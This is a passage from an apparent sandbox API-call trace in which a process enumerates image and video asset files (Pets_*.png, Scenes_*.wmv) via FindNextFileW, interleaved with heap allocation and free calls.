BaseAddress=0xfb8730) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6048 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc4fb0 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6068 [0067.010] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc50b8 [0067.010] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6088 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc51c0 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc60a8 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc52c8 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xdc0) returned 0xfaa438 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc6510) returned 1 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.011] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc60c8 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc53d0 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc60e8 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc54d8 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6108 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc55e0 [0067.012] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.012] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6128 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc56e8 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6148 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc57f0 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6168 [0067.013] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc58f8 [0067.013] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6188 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc5a00 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc61a8 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc5b08 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc61c8 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6528 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc61e8 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6630 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6208 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6738 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.015] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6228 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6840 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6248 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6948 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6268 [0067.016] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6a50 [0067.016] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.016] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc6288 [0067.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc6b58 [0067.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0067.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d120, 